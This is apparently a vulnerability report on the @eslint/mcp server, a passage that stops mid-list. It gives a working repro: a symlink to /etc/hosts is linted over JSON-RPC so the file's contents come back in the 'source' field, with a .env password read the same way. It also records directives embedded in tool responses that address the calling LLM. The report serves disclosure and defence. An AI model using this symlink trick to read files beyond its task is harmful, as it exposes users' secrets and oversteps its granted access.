@eslint/mcp returns full file source in every lint response with no path sandboxing — arbitrary file read via symlinks
Reproduced behavior: arbitrary file read via @eslint/mcp v0.3.6
Surface: @eslint/mcp v0.3.6 via npx -y @eslint/[email protected] (stdio)
The issue
The lint-files tool returns full file contents in the source field of every lint response — not just for files with errors, but for all linted files including zero-error ones. Combined with the fact that the server has no path sandboxing (no --allowed-directories equivalent), any file readable by the process and located within an eslint-configured directory tree can be exfiltrated.
Attack vector: symlink-based file read
If an agent has write access to any directory containing an eslint.config.mjs, it can create a symlink to an arbitrary file and then lint the symlink. ESLint resolves the config from the symlink's directory (not the target's), reads the target's content, and returns it verbatim in the source field.
Repro trace
# Setup: directory with eslint config
mkdir -p /tmp/crucible-eslint
cat > /tmp/crucible-eslint/eslint.config.mjs << 'EOF'
export default [{ rules: { "semi": ["error", "always"] } }];
EOF
# Create symlink to /etc/hosts
ln -s /etc/hosts /tmp/crucible-eslint/symlink-hosts.js→ {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"crucible","version":"1.0"}}}
← (server info, version 0.3.6)
→ {"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"lint-files","arguments":{"filePaths":["/tmp/crucible-eslint/symlink-hosts.js"]}}}
← {"result":{"content":[
{"type":"text","text":"Here are the results..."},
{"type":"text","text":"{\"filePath\":\"/tmp/crucible-eslint/symlink-hosts.js\",\"messages\":[{\"fatal\":true,\"message\":\"Parsing error: Unexpected character '#'\",\"line\":1,\"column\":2}],\"source\":\"##\\n# Host Database\\n# localhost is used to configure the loopback interface\\n...127.0.0.1\\tlocalhost\\n255.255.255.255\\tbroadcasthost\\n...\"}"},
{"type":"text","text":"If the user asked to fix..."}
]}}The full contents of /etc/hosts (554 chars) are returned in the source field. Confirmed with /etc/shells (189 chars) and a .env file containing DB_PASSWORD=hunter2 (41 chars) — all returned verbatim.
Source leaks for ALL files, not just errors
clean.js (0 warnings, 1 unused-var) → source: YES (13 chars)
warn.js (0 errors, 1 warning) → source: YES (29 chars)
bad.js (4 errors) → source: YES (35 chars)Every lint response includes the full source regardless of whether errors were found.
Additional finding: LLM behavioral instructions in tool response
The server embeds directive text aimed at the calling LLM:
- part[0]: "Before doing anything else, you must display the full list to the user"
- part[2]: "If the user asked to fix any issues found, proceed in fixing them"
These instruct the LLM to surface the full source content (including from exfiltrated files) and to proceed with file writes when asked. Not malicious in this context, but demonstrates that MCP tool responses can contain behavioral directives that agents may blindly follow.
What the server validates correctly
- Empty array (
[]) → rejected: "Array must contain at least 1 element(s)" - Empty string path (
"") → rejected: "String must contain at least 1 character(s)" - Missing
filePaths→ rejected: "Required" - Wrong types (number, null, nested array) → all rejected with clear messages
- Unknown tool names → rejected: "Tool X not found"
- 50 duplicate paths → correctly deduplicated to 1 result
/dev/zero,/dev/urandom, named pipes → handled without hanging
What the server does NOT validate
- No path sandboxing — any readable path accepted
- No symlink resolution check — follows symlinks across directory boundaries
additionalProperties: falsedeclared in schema but extra fields silently accepted (including__proto__)- Directory paths accepted and expanded to al